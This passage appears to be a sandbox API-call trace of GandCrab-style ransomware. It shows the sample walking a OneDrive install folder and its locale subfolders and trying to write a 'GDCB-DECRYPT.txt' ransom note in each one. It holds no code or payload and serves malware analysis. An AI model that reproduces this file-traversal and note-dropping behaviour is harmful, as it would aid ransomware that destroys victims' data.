"c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\fil-ph\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.946] GetLastError () returned 0x3 [0171.946] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileCoAuth.exe") returned 271 [0171.946] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileCoAuth.exe") returned 271 [0171.946] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileCoAuthLib.dll") returned 274 [0171.946] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileCoAuthLib.dll") returned 274 [0171.946] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileSync.LocalizedResources.dll") returned 288 [0171.946] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileSync.LocalizedResources.dll") returned 288 [0171.946] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileSync.Resources.dll") returned 279 [0171.946] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileSync.Resources.dll") returned 279 [0171.946] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileSyncApi.dll") returned 272 [0171.946] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileSyncApi.dll") returned 272 [0171.946] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileSyncClient.dll") returned 275 [0171.946] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileSyncClient.dll") returned 275 [0171.946] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileSyncConfig.exe") returned 275 [0171.947] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileSyncConfig.exe") returned 275 [0171.947] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileSyncFAL.dll") returned 272 [0171.947] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileSyncFAL.dll") returned 272 [0171.947] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileSyncFALWB.dll") returned 274 [0171.947] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileSyncFALWB.dll") returned 274 [0171.947] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileSyncSessions.dll") returned 277 [0171.947] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileSyncSessions.dll") returned 277 [0171.947] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileSyncShell.dll") returned 274 [0171.947] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileSyncShell.dll") returned 274 [0171.947] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileSyncViews.dll") returned 274 [0171.947] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\FileSyncViews.dll") returned 274 [0171.947] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.947] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.947] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.947] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.947] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\fr\\\\GDCB-DECRYPT.txt") returned 277 [0171.947] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\fr\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\fr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.947] GetLastError () returned 0x3 [0171.947] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.947] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.947] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.947] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.947] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ga-ie\\\\GDCB-DECRYPT.txt") returned 280 [0171.948] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ga-ie\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\ga-ie\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.948] GetLastError () returned 0x3 [0171.948] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.948] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.948] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.948] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.948] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\gd\\\\GDCB-DECRYPT.txt") returned 277 [0171.948] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\gd\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\gd\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.948] GetLastError () returned 0x3 [0171.948] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.948] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.948] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.948] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.948] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\gd-latn\\\\GDCB-DECRYPT.txt") returned 282 [0171.948] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\gd-latn\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\gd-latn\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.948] GetLastError () returned 0x3 [0171.948] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.948] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.948] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.948] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.948] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\gl\\\\GDCB-DECRYPT.txt") returned 277 [0171.949] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\gl\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\gl\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.949] GetLastError () returned 0x3 [0171.949] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.949] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.949] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.949] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.949] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\gu\\\\GDCB-DECRYPT.txt") returned 277 [0171.949] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\gu\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\gu\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.949] GetLastError () returned 0x3 [0171.949] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.949] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.949] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.949] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.949] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ha-latn-ng\\\\GDCB-DECRYPT.txt") returned 285 [0171.949] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ha-latn-ng\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\ha-latn-ng\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.949] GetLastError () returned 0x3 [0171.949] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.949] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.949] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.949] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.949] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\he\\\\GDCB-DECRYPT.txt") returned 277 [0171.949] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\he\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\he\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.949] GetLastError () returned 0x3 [0171.949] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.949] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.949] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.949] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.949] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\hi\\\\GDCB-DECRYPT.txt") returned 277 [0171.950] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\hi\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\hi\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.950] GetLastError () returned 0x3 [0171.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.950] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\hr\\\\GDCB-DECRYPT.txt") returned 277 [0171.950] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\hr\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\hr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.950] GetLastError () returned 0x3 [0171.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.950] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\hu\\\\GDCB-DECRYPT.txt") returned 277 [0171.950] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\hu\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\hu\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.950] GetLastError () returned 0x3 [0171.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.950] SHGetSpecialFolderPathW (in: 